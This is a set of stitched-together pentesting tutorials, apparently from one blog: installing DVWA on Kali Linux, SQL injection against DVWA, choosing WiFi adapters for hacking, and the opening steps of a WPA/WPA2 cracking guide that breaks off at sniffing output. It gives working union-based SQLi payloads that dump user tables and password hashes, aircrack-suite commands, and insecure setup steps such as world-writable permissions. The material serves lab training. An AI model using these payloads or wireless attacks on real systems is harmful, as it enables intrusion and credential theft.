This post has given you a step-by-step guide to setting up a virtual penetration testing guide. You can now use Kali Linux to exploit your target machines (Windows or Metapsploitable). However, that shouldn’t be the end. You can install more vulnerable machines like the Buggy Web Application (bWAPP), Bee Box, OWASP Broken Web Apps, and much more.

Additionally, depending on the field you want to specialize in, you can consider adding more advanced penetration testing systems. For example, if you’re going to specialize in web application security, try using the Samurai Web Testing Framework. Did you come across any issues, or do you have any additional information for our readers? Please, feel free to let us know in the comments and we’ll get back to you as soon as we can.

Performing penetration tests on systems without administrative permission is considered illegal and can land you in huge problems, including a jail term with hefty fines.

Practice makes perfect, but then, where do you practice hacking skills?

There are so many platforms available that you can use to practice penetration testing. Some of these are online platforms like TryHackMe, HackTheBox, etc.

Some like Vulnhub allow you to download vulnerable virtual machines that you can exploit. This post will look at one of the platforms that you can install and set up on your Kali Linux system – The Damn Vulnerable Web Application (DVWA).

DVWA is a vulnerable web application developed with PHP and MYSQL.

Yes! It’s intentionally developed to be vulnerable.

From my experience, it’s a great platform for both beginners and skilled since you have an option to set the desired security level (low, medium, high or impossible).

It’s also a great resource for web developers who wish to develop web applications with security in mind.

To learn a bit on how you can practice on it, you can check our related tutorial on explaining SQL injections using DVWA

Let’s dive in and get started right away.

Note: This tutorial should work on other Debian-based distros, as well.

Step 1. Download DVWA

Since we will be setting up DVWA on our localhost, launch the Terminal and navigate to the /var/www/html directory. That’s the location where localhost files are stored.

cd /var/www/html

Next, we will clone the DVWA GitHub repository in the /html directory using the command below.

sudo git clone https://github.com/ethicalhack3r/DVWA

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for kali: 
Cloning into 'DVWA'...
remote: Enumerating objects: 3398, done.
remote: Counting objects: 100% (85/85), done.
remote: Compressing objects: 100% (54/54), done.
remote: Total 3398 (delta 38), reused 58 (delta 29), pack-reused 3313
Receiving objects: 100% (3398/3398), 1.65 MiB | 4.21 MiB/s, done.
Resolving deltas: 100% (1508/1508), done.

Step 2. Configure DVWA

After successfully cloning the repository, run the ls command to confirm DVWA was successfully cloned.

ls

DVWA  index.html  index.nginx-debian.html

From the image above, you can see the DVWA folder. Now we need to assign Read, Write and Execute permissions (777) to this folder. Execute the command below.

sudo chmod -R 777 DVWA

To set up and configure DVWA, we will need to navigate to the /dvwa/config directory. Use the command below:

cd DVWA/config

Run the ls command to see the contents of the config directory.

ls

config.inc.php.dist

You should see a file with the name config.inc.php.dist. That file contains the default DVWA configurations.

We will not tamper with it, and it will act as our backup if things go south. Instead, we will create a copy of this file with the name config.inc.php that we will use to configure DVWA. Use the command below.

sudo cp config.inc.php.dist config.inc.php

You can use the ls command to check if the file was copied successfully.

ls

config.inc.php  config.inc.php.dist

Now, open the config.inc.php file with the nano editor to make the necessary configurations.

sudo nano config.inc.php

Scroll down to the point where you will see parameters like db_database, db_user, db_password, etc., as shown in the image below. Feel free to change these values, but note them down since you will require them when setting up the database. In my case, I will set db_user to userDVWA and db_password to dvwa.

...
$_DVWA = array();
$_DVWA[ 'db_server' ]   = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ]     = 'userDVWA';
$_DVWA[ 'db_password' ] = 'dvwa';
$_DVWA[ 'db_port'] = '3306';
...

Save your changes (Ctrl + S) and Exit (Ctrl +X).

Step 3. Configure Database

By default, Kali Linux comes installed with the MariaDB relational database management system. You, therefore, don’t need to install any packages. First, start the mysql service with the command below.

sudo systemctl start mysql

You can check whether the service is running with the command:

systemctl status mysql

● mariadb.service - MariaDB 10.5.9 database server
     Loaded: loaded (/lib/systemd/system/mariadb.service; disabled; vendor p>
     Active: active (running) since Mon 2021-07-26 19:13:38 EDT; 8s ago
       Docs: man:mariadbd(8)
             https://mariadb.com/kb/en/library/systemd/
    Process: 1632 ExecStartPre=/usr/bin/install -m 755 -o mysql -g root -d />
    Process: 1634 ExecStartPre=/bin/sh -c systemctl unset-environment _WSREP>
    Process: 1636 ExecStartPre=/bin/sh -c [ ! -e /usr/bin/galera_recovery ] >
    Process: 1699 ExecStartPost=/bin/sh -c systemctl unset-environment _WSRE>
    Process: 1701 ExecStartPost=/etc/mysql/debian-start (code=exited, status>
   Main PID: 1684 (mariadbd)
     Status: "Taking your SQL requests now..."
      Tasks: 15 (limit: 2287)
     Memory: 109.0M
        CPU: 1.339s
     CGroup: /system.slice/mariadb.service
             └─1684 /usr/sbin/mariadbd

To log in to the database, use the command below. In our case, we are using root since that is the superuser name set on our system. If you have something different, then you will need to replace the root.

sudo mysql -u root -p

You will be prompted for a password. However, since we haven’t set any yet, just hit Enter to continue.

Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 45
Server version: 10.5.9-MariaDB-1 Debian buildd-unstable

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

We will first create a new user using the credentials we set in the config.inc.php file in the DVWA directory. Execute the command below, replacing the username and password with your preset credentials.

create user 'userDVWA'@'127.0.0.1' identified by "dvwa";

Query OK, 0 rows affected (0.010 sec)

We now need to grant this user total privilege over the dvwa database. Execute the command below, replacing the username and password with your credentials.

grant all privileges on dvwa.* to 'userDVWA'@'127.0.0.1' identified by 'dvwa';

Query OK, 0 rows affected (0.001 sec)

That’s it! We are done configuring the database. Type Exit to close it.

Step 4. Configure Apache Server

The Apache web server comes installed by default on Kali Linux. Therefore, we don’t have to need to install any additional packages.

To get started configuring Apache2, launch the Terminal and navigate the /etc/php/7.4/apache2 directory.

Note: As of writing this post, the PHP version available for Kali Linux is 7.4. If there is an update, running the command might raise the no such file or directory error. Therefore, you might first want to check your PHP version (ls /etc/php) and replace it accordingly in the command above.

cd /etc/php/7.4/apache2

When you execute the ls command, you will see a file called php.ini. Execute the command below to edit this file using the nano editor.

sudo nano php.ini

Scroll and look for the allow_url_fopen and allow_url_include lines and ensure that both are set to On.

By default, both or one of them is always set to Off.

; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-fopen
allow_url_fopen = On

; Whether to allow include/require to open URLs (like http:// or ftp://) as >
; http://php.net/allow-url-include
allow_url_include = On

Save your changes (Ctrl +S) and Exit (Ctrl + X).

Proceed to start the apache webserver service with the command below. You can check whether the service is running by running the status command.

sudo systemctl start apache2
systemctl status apache2

● apache2.service - The Apache HTTP Server                                   
     Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor p>
     Active: active (running) since Mon 2021-07-26 20:25:48 EDT; 5s ago
       Docs: https://httpd.apache.org/docs/2.4/
    Process: 2245 ExecStart=/usr/sbin/apachectl start (code=exited, status=0>
   Main PID: 2256 (apache2)
      Tasks: 6 (limit: 2287)
     Memory: 17.8M
        CPU: 82ms
     CGroup: /system.slice/apache2.service
             ├─2256 /usr/sbin/apache2 -k start
             ├─2258 /usr/sbin/apache2 -k start
             ├─2259 /usr/sbin/apache2 -k start
             ├─2260 /usr/sbin/apache2 -k start
             ├─2261 /usr/sbin/apache2 -k start
             └─2262 /usr/sbin/apache2 -k start

Step 5. Open DVWA on Your Web Browser

Up to this point, we have configured DVWA, Database, and the Apache webserver.

We can now proceed to start the DVWA application. Launch your Web browser and type the URL below.

127.0.0/DVWA

This action will redirect us to the DVWA setup.php page at http://127.0.0.1/DVWA/setup.php.

When you scroll down, you will see some errors in red color. Don’t panic! Click the Create / Reset Database button at the end of the page.

That will create and configure the DVWA database. After a few seconds, you will be redirected to the DVWA login page.

Use the default credentials below to log in.

• Username: admin
• Password: password

After successfully logging in, you will be greeted by the DVWA homepage. On the left side, you can see all the available vulnerable pages you can use to practice.

You will also see the DVWA Security option that enables you to choose the security level depending on your skills.

That’s it! Now, you can start testing out your web penetration skills on the DVWA.

Conclusion

DVWA is a great platform for both beginners and advanced users because of its multi-layered security support. I believe this post has given you a detailed guide on how to set up DVWA on your Kali Linux system.

If you faced issues or errors in any of the steps above, please feel free to let us know in the comments section or by contacting us.

There are several applications that you can use to learn SQL injection.

In this particular post, we will use the Damn Vulnerable Web Application (DVWA). It’s a web app developed in PHP and MySQL and intentionally made to be vulnerable.

If you don’t have DVWA installed yet, feel free to check out our post on How to set up DVWA on Kali Linux.

What is SQL Injection (SQLI)?

SQL injection, commonly referred to as SQLI, is an attack where an application allows unauthorized users to send SQL queries to the database and gain access to information they shouldn’t.

In most cases, hackers use SQL injection to retrieve user/company data, modify database contents or delete the entire database, thus bringing down the whole web system.

In fatal cases, attackers can escalate the SQL injection attack thus, gaining access to the entire underlying back-end infrastructure, server or even perform a Denial of Service attack (DoS).

As of 2021, OWASP Top 10 is a standard awareness framework for developers, and web application security listed Injection (SQL, NoSQL, OS, and LDAP) as the number one vulnerability.

The Impact of a Successful SQL Injection Attack

SQL injection is one of the popular attacks behind the data leaks that we see on the internet and the Dark Web. That includes information like user emails, usernames, passwords, and even credit card information. This attack leads to reputational damage and loss of revenue in regulatory fines. In other cases, attackers can escalate the SQL injection attack and create a persistent backdoor. That allows them to compromise the system for a long time and remain unnoticed.

How an SQL Injection Attack Works

Think of a website with a simple login form with two fields – a username, password, and a Login or Submit button. After you enter the required credentials, when you hit the Submit button, the query sent to the database has this syntax:

SELECT username, password FROM usersdb WHERE username=$user;

E.g., If your name is JohnDoe,

SELECT username, password FROM usersdb WHERE username='Johndoe';

Anyone with a hacker’s mindset can decide to manipulate the application by entering a value different from the username. This value will be an SQL query to reveal or modify the database’s contents. For example, if the attacker entered abc’ OR 1=1–‘ instead of the actual username, the resulting SQL query would look like this:

SELECT username, password FROM usersdb WHERE username='abc' OR 1=1--';

Let’s dissect this input abc' OR 1=1--' and see how it manipulates the database.

• abc': Here we just guessed any username but we added a single quote ‘ at the end. The single quote closes our username field, and the following part becomes an SQL query.
• OR is a conjunction in SQL, and 1=1 will always be true. Therefore, no matter what you put in the username field, the query will always be True and return all the records of the userdb database.
• The --'(double dash) is a comment in SQL. It tells the SQL server not to execute any query past this point. In this particular example, we are using double dash to comment out errors that would arise because of the trailing single quote at the end. You can also use # instead of --. E.g abc' 1=1#

I believe up to this point; you have a good understanding of what SQL injection is. Let’s dive in and exploit actual SQL injection queries on our DVWA.

Setup DVWA for SQL Injection

As stated above, if you haven’t configured DVWA on your system, please check out our post on How to set up DVWA on Kali Linux, which gives you a step-by-step procedure.

If you set up DVWA on your localhost, start Apache Web server and MySQl using the commands below:

sudo systemctl start apache2

systemctl start mysql

Open your browser and enter the URL 127.0.0.1/dvwa or 127.0.0.1/DVWA if you had renamed it. That will open the DVWA login page. Use the default credentials below:

• Username: admin
• Password: password

After a successful login, you will see the DVWA main page. First, click on the DVWA Security on the bottom left, set security to Low, and click Submit.

On the left section of the page, you will see the various vulnerable pages to exploit. Click SQL Injection. You should see a page similar to this below.

View the Vulnerable Code

On the SQL injection page, click the View Source button at the bottom right. That will open a page with the SQL Injection source code written in PHP. When you go through the code, you will see a line like:

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

That is the vulnerable line of code. At the end of the line, you can see the user input is concatenated to the SQL query without being validated. That allows us to pass arbitrary commands into the database. Let’s get started.

Basic Injection

On the SQL Injection page, we have a USER ID field. When we enter number 1, the application returns the Firstname and Surname of the user with ID 1.

If we continue trying numbers like 2,3,4 and 5, we still get an output. However, any number from 6 doesn’t return anything. Therefore, our web app has only five users. Behind the scenes, the SQL query that will execute in the database is:

SELECT First_Name,Last_Name FROM users WHERE ID='1';

Other than using the USER ID field, we can also use the URL to pass our queries. When you first enter ID 1 and click submit, the URL will look like this:

http://172.16.81.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#

The injectable part in this URL is the id field. Delete the number 1 and enter a different value like 2 or 3, as shown below. Hit Enter.

http://172.16.81.129/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#

You will notice that this will also return the username and surname of the user with ID 2.

Always True Injection

We looked at this when talking about How an SQL Injection attack works. Enter an input like test' OR 1=1# and hit Enter. That will return the username and surname of all users in the database.

This query will display all records that are True or False. The test' parameter will probably not be equal to any user in the Database and will equal to False. The other part 1=1 will be True since 1 (one) is equal to 1 (one). The # sign to comments out any SQL code or error. The query that executes in the database looks like this;

SELECT first_name, last_name FROM users WHERE user_id = 'test' or '1'='1';

Display RDBMS and Version

By knowing the RDMS (Relational Database Management System) running under the hood, we can successfully send malicious SQL queries. Most Web application technologies like Java, ASP.NET, PHP, etc., can give us a vivid idea of the database powering the web system. For example, PHP web apps will likely use MySQL, ASP.NET apps will most likely run on Microsoft SQL Server, while Java web systems will most likely run on Oracle or MySQL. Additionally, we can try using a combination of web technology and the Operating system to determine the database. For example, a web application running on Apache and PHP on a Linux host is probably using MySQL database.

However, we cannot entirely rely on this information. If the web app is vulnerable to SQL injection, then there are queries we can use to know the RDBMS and RDBMS-version running behind the scenes.

To know the RDBMS, we will enter anything that will make the database throw an error. In this case, we enter a single quote in the USER ID field. That will make the database read anything past the quote as a string instead of an SQL query.

That will throw an error, as shown below.

This error gave us the RDBMS name but not the version. In MySQL, we have two queries that you can use to return the database version – Select version() and Select @@version. We will use the SQL query below to get the database version.

test'union select null, version()#

We can also use:

test'union select null, @@version()#

Display the hostname of our web app

To get the hostname on MySQL, we use the @@hostname query. Enter the input below in the USER ID field.

' union select null, @@hostname#

From the output above, we can see the hostname under the surname as metasploitable. Yours might be different from my mine.

Display Database User

To know the database user, we will enter the input below in the USER ID field. We will use the user() SQL function.

test' union select null, user() #

[analogy]Note: We are using Null to make the starting query valid.[/analogy]

From the output above, we can see the hostname under the surname as root@localhost.

Display the Database Name

To get the database name, we will use the database() function in our SQL query. Please note; this is not the RDBMS but the database on which our web app is running. Enter the query below:

test' union select null, database() #

You can see the name of the database under the Surname – dvwa.

List all tables in the information schema.

The Information Schema is a record that holds information about all other databases maintained by MySQL RDBMS. Enter the query below in the USER ID field.

test' and 1=0 union select null, table_name from information_schema.tables #

The tables are listed under Surname.

List all user tables in the information schema.

To display all user tables, we will start in the informarion_schema database. Enter the query below in the USER ID field and click Submit.

test' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#

The user tables are listed under the Surname field.

List all Column fields in the information schema users table

Enter the query below in the USER ID field and click Submit.

test' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #

From the output above, you see we have the First_name, Surname, and user_id fields listed.

Display all the column contents in the information schema users table

This is much more interesting. We will display all the authentication information of all users in the database. That includes password hashes. Enter the query below.

test' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #

From the output above, you can see the hashed password. We can go ahead and crack the hash to reveal the actual password. Some of the password cracking tools that come in handy include John the Ripper and Medusa. There are also websites where you can paste the password hash to reveal the actual password.

In this example, we will use crackstation.net to crack the password hash for the second user with the surname – Gordon.

How To Prevent SQL Injection Attacks

The main reason that makes web applications vulnerable to SQL injections dates back to the development (coding) stage. Here are some factors developers can consider to develop secure web systems.

• Validate user input
• Limit the use of special characters such as string concatenation
• Use stored procedures in the database
• Actively install security patches and updates
• Implement a Web Application Firewall
• Harden your Operating System and Applications

Summing Up

As of 2021, OWASP Top 10, a Security Framework, listed SQL injection as the number one attack mainly used by hackers and poses a significant impact on businesses and organizations. From the examples above, I believe you now understand how and why SQL injection attacks are the leading cause of massive data leaks.

The DVWA is a reliable platform where penetration testers can practice their skills and understand how various web vulnerabilities are exploited.

Most don’t know what they are, why we need them, and how to select the best adapter since we have so many brands and models available in the market.

A wireless adapter is a device that you connect to your computer via the USB port, and it allows you to connect to WiFi networks and communicate with other devices on the network.

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However, you might wonder: “Why would I need a USB network adapter since my laptop already has an inbuilt adapter that enables me to connect to wireless networks?”

Well, this is among the topics that we will discuss in this post:

• Problems with Built-in Wireless Cards
• Best WiFi adapters for hacking
• How to connect a wireless adapter to Kali Linux Virtual machine

Problems With Built-in Wireless Cards

There are two main problems with built-in WiFi adapters.

1. They can’t be used in Virtual machines – Kali inside a VM does not see the built-in WiFi card of your laptop as a WiFi adapter but will see it as an ethernet adapter. Hence you can have full internet access, but you cannot do packet injection or place the WiFi card into monitor mode.
2. Most built-in cards are not suitable for hacking – In wireless hacking, there are two main factors that we look out for in adapters. That is ‘packet infection’ and support for ‘monitor mode.’ Unfortunately, most of the built-in adapters support non of these two features.

Best WiFi Adapters for Hacking (With Monitor Mode)

Before diving into the different WiFi adapter brands and models, we first need to understand the Wireless Chipset present in these adapters. Like the CPU we have in a computer, this chipset is the “Brains” of the wireless adapter.

It is responsible for all the processing and calculation of data flowing through it. It also determines the capability of the wireless adapter. Whether it can support monitor mode, packet injection, and works with Kali Linux or not.

Some of the chipset supported by Kali Linux include:

• Realtek RTL8812AU
• Realtek 8187L
• Ralink RT5370N
• Ralink RT3572
• Ralink RT5572
• Ralink RT3070
• Ralink RT307
• Atheros AR9271
• MT7610U
• MT7612U

I understand all this information looks gibberish as of now; however, you will appreciate it when we look at the different WiFi adapters available and the chipset they use.

You will notice that the ALFA Networks company highly dominates the Wireless adapter market. Over the past couple of years, the company has risen to stand as the perfect supplier for efficient and reliable WIFI adapters. Other companies include TP-Link and Panda.

The table below shows a list of wireless adapters supported by Kali Linux and the Chipset, Frequency, and Protocol they are using.

Important: When it comes to TP-LINK TL-WN722N, it’s important to know that you can also get v2/v3 to work with a few workarounds, although it’s sometimes assumed that only v1 works.

A great and detailed tutorial on this topic is this one from David Bombal – Kali Linux TP-Link TP-WN722N.

TL-WN722N is a decent budget WiFi adapter for our purposes, but it’s sometimes difficult to find v1 in your immediate area, so v2/v3 is definitely a good option.

In some cases you won’t find the adapter’s version in the product description, so I think it’s definitely good to know you can make it work no matter which of those versions it is.

Connect a Wireless Adapter to Kali Linux Virtual Machine (VirtualBox)

To connect a wireless adapter to your Kali Linux virtual machine, when using VirtualBox, you can go in the Oracle VM VirtualBox menu > Devices > USB > [select_your_adapter].

It may not list the name of the WiFi Adapter, but something related to the chipset, instead. Here, I’m using a TP-LINK TL-WN722N 2.4GHz v2/v3, and as you can see, it’s displaying Realtek 802.11n NC.

Automatically Connect the WiFi Adapter to a VirtualBox VM

You can also automatically connect a wireless adapter to your Kali Linux virtual machine, when running VirtualBox. This way, you don’t have to manually connect it every time

To do this follow the steps below:

1. Shutdown the Kali virtual machine if it was already running
2. Connect your Wireless USB adapter to your PC
3. Right-click on your Kali Virtual machine and select the Settings option. A window will open displaying all the different configuration options.
4. Click on the USB option and check the Enable USB controller check box.
   
   

   

   
   
   We will need to add a USB filter on this window that will enable us to mount our wireless adapter to the Kali VirtualBox VM.
5. Click on the USB icon that has a plus (+) sign and select your Wireless adapter.
   Note: Be careful since the adapter may appear with the chipset na,e instead of the Brand name. For example, my adapter in this case is TP-LINK TL-WN722N 2.4GHz v1 but was listed under the chipset name Atheros AR9271.
   
   If you are not sure of the adapter’s name, just remove it, and you will notice the name that will disappear from the VirtualBox USB list.
   
   

   

   
   
6. Your wireless adapter will be listed under the “USB Device Filters” section.
   
   

   

   
   
7. To finalize everything, right-click on your newly added USB filter and select the Edit Filters option.
   A window will open listing all the details about your wireless adapter. Then, on the Remote option, click on the dropdown and select Yes.
   
   

   

   
   
8. Click Ok to save your configurations.

Connect a Wireless Adapter to Kali Linux Virtual Machine (VMware Player)

To connect a wireless adapter to your Kali Linux virtual machine, when using VMware Player, you can go to the VMware Player menu > Player > Removable Devices > [your_adapter] > Connect (Disconnect from host).

It may not list the name of the WiFi Adapter, but something related to the chipset, instead. Here, I’m using a TP-LINK TL-WN722N 2.4GHz v2/v3, and as you can see, it’s displaying Realtek 802.11n NC.

You should then receive a message informing you that the device will be safely stopped and disconnected from the host machine, so it can then be connected to Kali Linux in the VMware player.

I’m not sure of an easy way how you can automatically connect a WiFi Adapter with VMware Player, as we did with VirtualBox. The solution in VMware knowledge base seems to involve a bit of work https://kb.vmware.com/s/article/1648, and I haven’t tried it myself. If anyone has an easier solution for this and would like to share, then we’d love to hear from you.

Conclusion

Now you can boot your Kali VM and start practicing your wireless hacking skills. You can list all the wireless networks around you and even put your card in monitor mode.

I believe up to this point, you have a working wireless adapter on your Kali Linux VirtualBox machine. Please remember when selecting an adapter for wireless hacking to ensure the chipset used is among the chipsets listed above.

That involves, Cracking WIFI passwords (WEP, WPA, WPA2), Deauthentication attacks (disconnecting users on a WIFI network), Man In The Middle (MITM) attacks, packet-sniffing, and packet-analysis.

This post will give you a detailed guide on cracking WPA/WPA2 WiFi passwords using Kali Linux.

Important: In this article I’ll be demonstrating how to crack a password on my WiFi network. Please do not use this method for non-ethical purposes.

Understanding How Networks Operate

Before looking at how to crack WiFi passwords, you need to understand how a network operates. A network usually contains several devices connected using a wired (Ethernet, Fiber, etc.) or wireless connection (WiFi, Bluetooth, etc.) to share resources. An excellent example of a resource that we connect to networks to access is the Internet.

Whether you are on a wired or wireless network, one device is always considered a server. For example, if you are on a home network, the server would be the router/Access point. To connect to the internet, a Device(A) will send a request to the router, which will, in turn, fetch what you want from the Internet. Data transmitted between the client and the Access Point is known as Packets.

This tutorial will teach you how to capture these packets and use them to crack WPA and WPA2 passwords.

Managed Mode and Monitor Mode?

Every device with access to the internet comes with a chip known as the Network Interface Card (NIC). This chip is responsible for capturing packets sent by the router to our device.

By default, it is set to Managed Mode. That means it can only listen to packets sent directly to our device (packets with our devices’ MAC address as the destination MAC). To crack a WPA or WPA2 WIFi, we need to capture many of these packets. Therefore, we will set our NIC to Monitor Mode. In Monitor Mode, the card will listen to all packets being sent by the router capturing as many packets as possible.

Up to this point, I believe you now have the basic knowledge required to get you started with Network hacking. Boot your Kali Linux machine, and we can begin to crack WiFi passwords.

An Overview of How The Method Works

To give you a short and simple overview so you know what’s coming up, we will:

1. Set our wireless network adapter in monitor mode so it can listen for packets
2. List all available WiFi networks
3. Target a single WiFi network from which we’ll try to capture Handshake packets – these are packets transmitted between the router and the client computer, when they’re trying to establish a connection. We want to capture these packets, because some of them will contain the hashed password.
4. We won’t be decrypting the hashed password, but it still provides a valuable clue. Next we’ll use a large list of popular passwords, and we’ll turn each one into a hashed form, and compare them with the WiFi password, in it’s hashed form, that we got from listening to packets.
5. When the hashes match, this means that we found the password.

Important Notes

1. In our tutorial we’ll use a popular list of passwords, called rockyou.txt, that comes with Kali Linux.
2. If the password you’re trying to crack isn’t in the passwords list, also called wordlist, then we won’t be able to crack it.
3. You can check if the password is in the wordlist by running something like sudo grep -F 'yourpassword' /usr/share/rockyou.txt.
4. Keep in mind that /usr/share/rockyou.txt is archived by default, into /usr/share/rockyou.txt.gz, so you’ll have to extract it first. To do this you can run:
   cd /usr/share/wordlists && sudo gzip -d rockyou.txt.gz

Step 1. Put Your Card in Monitor Mode

On your Kali machine, open the Terminal and execute the command below to list all the connected network devices.

ifconfig

Or

ip a

Related: In case you’re also running Kali Linux in a virtual machine, here is a tutorial on how to connect wireless adapter to Kali Linux in VirtualBox/VMware – Connecting a Wireless Adapter to a Kali Linux Virtual Machine. It also covers the types of wireless adapters you can place in monitor mode and that can do packet injection.

In Kali, the Wireless card will be listed as something like wlan0. I’m using Kali Linux in VirtualBox, with a wireless adapter connected.

In my case, the WiFi network is listed as wlan0:

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.0.2.15  netmask 255.255.255.0  broadcast 10.0.2.255
        inet6 fe80::a00:27ff:fe2f:7ffe  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:2f:7f:fe  txqueuelen 1000  (Ethernet)
        RX packets 1  bytes 590 (590.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 16  bytes 1452 (1.4 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 16  bytes 880 (880.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 16  bytes 880 (880.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 2312
        unspec ca-d3-dd-57-cf-30-00-B9-00-00-00-00-00-00-00-00  txqueuelen 1000  (UNSPEC)
        RX packets 20790  bytes 0 (0.0 B)
        RX errors 0  dropped 20790  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

To put your wireless adapter in monitor mode (a mode where the adapter can capture all kinds of WiFi packets) , we will use a tool known as airmon-ng. Execute the command below and replace wlan0 with the name of your wireless card.

sudo airmon-ng start wlan0

Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

    PID Name
    399 NetworkManager
   1142 wpa_supplicant

PHY     Interface       Driver          Chipset

phy0    wlan0           8188eu          TP-Link TL-WN722N v2/v3 [Realtek RTL8188EUS]
                (mac80211 monitor mode already enabled for [phy0]wlan0 on [phy0]wlan0)

Note: You won’t access the internet with your card in monitor mode. It will not even be listed under the network devices on your Settings app.

If your card keeps reverting to Managed mode, you will need to kill all interfering processes with the command below.

sudo airmon-ng check kill

Killing these processes:

    PID Name
   1142 wpa_supplicant

To check whether your card was successfully put to monitor mode, execute the command below:

iwconfig

lo        no wireless extensions.

eth0      no wireless extensions.

wlan0     IEEE 802.11b  ESSID:""  Nickname:"<WIFI@REALTEK>"
          Mode:Monitor  Frequency:2.457 GHz  Access Point: Not-Associated   
          Sensitivity:0/0  
          Retry:off   RTS thr:off   Fragment thr:off
          Power Management:off
          Link Quality=0/100  Signal level=-100 dBm  Noise level=0 dBm
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

From the image above, you can see the wlan0 card is set to Monitor mode. In some cases, the Kali system will add the suffix “mon” to any card in Monitor mode. For example, wlan0 would be renamed to wlan0mon. If that’s the case for you, that is the name you will use anytime you want to call the WiFi card.

Step 2. Test Your Card For Packet Injection

In most wireless attacks, you will need to perform packet injection (Forging or spoofing packets) and unfortunately, not all Network Cards support packet injection.

To test your card for packet injection, execute the command below and ensure you are near WiFi networks. Remember to replace wlan1 with the name of your wireless card in monitor mode.

sudo aireplay-ng --test wlan0

20:10:12  Trying broadcast probe requests...
20:10:12  Injection is working!
20:10:14  Found 7 APs

20:10:14  Trying directed probe requests...
20:10:14  73:6F:5F:92:73:DD - channel: 1 - 'N00bLx Office'
20:10:14  Ping (min/avg/max): 1.831ms/9.501ms/16.956ms Power: -65.80
20:10:14  30/30: 100%

From the image above, you can see my card can inject packets into the network. If that’s not the case for you, you can buy a USB Network card (WiFi dongle) that supports packet injection.

You can also find a list of recommended network cards, along with beginner friendly explanations, in our related tutorial Connecting a Wireless Adapter to a Kali Linux Virtual Machine.

Step 3. Packet Sniffing Using Airodump-ng

Now that we have enabled Monitor mode on our wireless card and even tested it for packet injection, we can now capture packets on our WiFi networks. We will use a tool known as airodump-ng. Execute the command below and press Enter.

sudo airodump-ng <wifi-card-in-monitor-mode>

In my case, I’ll run:

sudo airodump-ng wlan0

CH  4 ][ Elapsed: 12 s ][ 2021-08-27 20:16                                                
                                                                                          
BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID           
                                                                                          
17:5A:78:5B:AE:56  -69       44        0    0   1   65   WPA2 CCMP   PSK  Mrs. Test WiFi Network
07:E1:B2:8E:0E:82  -50       49        0    0   6   54e. WPA2 TKIP   PSK  N00bLx Bathroom WiFi          
17:93:7E:F0:FF:A8  -51       41       35    5   1  130   WPA2 CCMP   PSK  The Neighbour       
D3:DA:6D:87:61:86  -52       45        0    0   6   54e. WPA  TKIP   PSK  <length:  0>    
73:6F:5F:92:73:DD  -57       41        0    0   1  130   WPA2 CCMP   PSK  N00bLx Office       
73:E4:D1:03:B1:8D  -65       37        0    0   1  130   WPA2 CCMP   PSK  Mayor's Office      
9B:9D:78:DC:92:43  -67       45        0    0   8  130   WPA2 CCMP   PSK  Sheshe          
AB:25:7A:0A:5C:42  -77       33        4    0   8  130   WPA2 CCMP   PSK  Skynet-4114   
AB:AA:DC:10:4D:3F  -76       27        0    0  10  130   WPA2 CCMP   PSK  Mark_cdd5e8     
B3:10:82:55:F1:57  -86       21        0    0  11  130   WPA2 CCMP   PSK  MARK-7NfA       
2F:78:E6:5B:0F:2B  -93       40        1    0   5  540   WPA2 CCMP   PSK  home network     
AB:30:6D:D1:31:E5  -93       27        0    0   6  130   WPA2 CCMP   PSK  Mobile-1615   
F3:F1:AE:18:A2:46  -93        4        0    0   1   48   WPA2 CCMP   PSK  MrBot_80     
63:8C:27:81:CB:8D  -93        2        0    0  11  130   WPA2 CCMP   PSK  UPC2076594      
D7:BF:F1:DF:52:23  -93        3        0    0   5  130   WPA2 CCMP   PSK  Bob      
EB:48:C0:6D:98:35  -86       24        7    2   3  130   WPA2 CCMP   PSK  TP-Link_47F0    
07:E1:06:1A:32:B1  -89       35        0    0  11  130   WPA2 CCMP   PSK  Some Netowrk       
4F:FB:76:4D:66:EA  -93       14        0    0  11  130   WPA2 CCMP   PSK  Mobile-746339   
9B:53:21:87:20:38  -93       17        2    0   3  130   WPA2 CCMP   PSK  LALA124173       
E3:88:A3:6E:6B:F5  -93        5        0    0   1  130   WPA2 CCMP   PSK  HAI-Fh9n       
CB:9B:94:7E:0A:AE  -93        2        0    0   1  130   WPA2 CCMP   PSK  BATMAN2629688      
6B:8B:B1:59:88:0E  -93        9        0    0   1  130   WPA2 CCMP   PSK  HI              
                                                                                     
                                                                                          
BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes         
